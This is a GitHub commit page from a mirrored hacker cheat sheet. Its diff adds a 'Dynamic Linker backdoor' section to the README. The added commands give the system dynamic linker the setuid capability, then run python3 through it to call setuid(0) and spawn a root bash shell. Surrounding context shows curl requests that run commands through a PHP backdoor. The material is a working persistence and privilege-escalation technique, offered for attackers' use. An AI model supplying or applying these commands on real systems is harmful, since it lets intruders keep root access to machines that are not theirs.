CalvinBackup/thc-tips-tricks-hacks-cheat-sheet
1
0
Fork 0
mirror of https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet.git synced 2026-07-10 20:53:43 +02:00
Code Issues Packages Projects Releases Wiki Activity

add dynamic linker backdoor

Browse Source
This commit is contained in:
Jacopo Cavallo
2023-05-29 15:05:45 +02:00
committed by GitHub
parent f4fe687585
commit 338d966bce
1 changed files with 13 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
README.md
+13
View File
@@ -55,6 +55,7 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg)
1. [authorized_keys](#backdoor-auth-keys)
1. [Remote access an entire network](#backdoor-network)
1. [Smallest PHP backdoor](#carriage-return-backdoor)
1. [Dynamic Linker backdoor](#ld-backdoor)
1. [Shell Hacks](#shell-hacks)
1. [Shred files (secure delete)](#shred)
1. [Restore the date of a file](#restore-timestamp)
@@ -1100,6 +1101,18 @@ curl http://127.0.0.1:8080/test.php
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
```
<a id="ld-backdoor"></a>
**6.v. Dynamic Linker Backdoor**
Give the setuid capability to the dynamic linker:
```bash
sudo setcap cap_setuid+ep /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
```
Then to become root:
```bash
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
```
---
<a id="shell-hacks"></a>
## 7. Shell Hacks